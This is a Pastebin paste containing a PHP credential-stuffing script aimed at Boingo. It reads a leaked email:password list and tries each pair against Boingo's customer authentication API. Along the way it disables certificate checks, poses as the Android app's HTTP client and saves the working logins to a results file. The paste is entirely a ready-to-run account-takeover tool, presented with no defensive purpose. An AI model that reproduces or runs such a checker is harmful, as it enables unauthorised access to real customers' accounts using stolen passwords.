Advertisement
Guest User

Boingo

a guest
Oct 16th, 2018
162
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.30 KB | None | 0 0
  1. <?php
  2. function warna($text,$warna){
  3.         $warna = strtoupper($warna);
  4.         $list = array();
  5.         $list['BLACK'] = "\033[30m";
  6.         $list['RED'] = "\033[31m";
  7.         $list['GREEN'] = "\033[32m";
  8.         $list['YELLOW'] = "\033[33m";
  9.         $list['BLUE'] = "\033[34m";
  10.         $list['MAGENTA'] = "\033[35m";
  11.         $list['CYAN'] = "\033[36m";
  12.         $list['WHITE'] = "\033[37m";
  13.         $list['RESET'] = "\033[39m";
  14.         $warna = $list[$warna];
  15.         $reset = $list['RESET'];
  16.         if(in_array($warna,$list)){
  17.                 $text = "$warna$text$reset";
  18.         }else{
  19.                 $text = $text;
  20.         }
  21.         return $text;
  22. }
  23. function curl($url,$data){
  24.     $h = array();
  25.     $h[] = "Cache-Control: no-cache";
  26.     $h[] = "Content-Type: application/json";
  27.     $h[] = "Host: boingo-api.boingo.com";
  28.     $h[] = "Content-Length: ".strlen($data);
  29.     $h[] = "Connection: Keep-Alive";
  30.     $h[] = "Accept-Encoding: gzip";
  31.     $h[] = "User-Agent: okhttp/3.10.0";
  32.     $ch = curl_init();
  33.     curl_setopt($ch, CURLOPT_URL, $url);
  34.     curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  35.         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  36.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  37.     curl_setopt($ch, CURLOPT_HTTPHEADER, $h);
  38.     curl_setopt($ch, CURLOPT_POST, 1);
  39.     curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
  40.     $asw = curl_exec($ch);
  41.     curl_close($ch);
  42.     return $asw;
  43. }
  44. function cek($user,$pass){
  45.     $data = '{"password":"'.$pass.'","username":"'.$user.'"}';
  46.     $c = json_decode(curl("https://boingo-api.boingo.com/2/customers/auth",$data),true);
  47.     if($c['code']=="104"){
  48.         $text = "$user|$pass => ".$c['message'];
  49.         echo warna($text."\n","red");
  50.     }else{
  51.         $text = "$user|$pass => ".$c['message'];
  52.         echo warna($text."\n","green");
  53.         $h=fopen("hasil.txt","a+");
  54.         fwrite($h, $text."\n");
  55.         fclose($h);
  56.     }
  57. }
  58. $file = file_get_contents($argv[1]);
  59. if(!file_exists($argv[1])) exit("File Empass Gak ada!");
  60. $ex = explode("\n",$file);
  61. $s = 0;
  62. if(!empty($argv[3])) $s = $argv[3];
  63. for($a=$s;$a<count($ex);$a++){
  64.         echo "[$a/".count($ex)."] ";
  65.         $data = explode($argv[2],$ex[$a]);
  66.         $data = str_replace("^M","",$data);
  67.         $user = explode("@",$data[0])[0];
  68.         if(empty($user)) continue;
  69.         $pass = urldecode(str_replace("%0D","",urlencode($data[1])));
  70.         cek($user,$pass);
  71. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement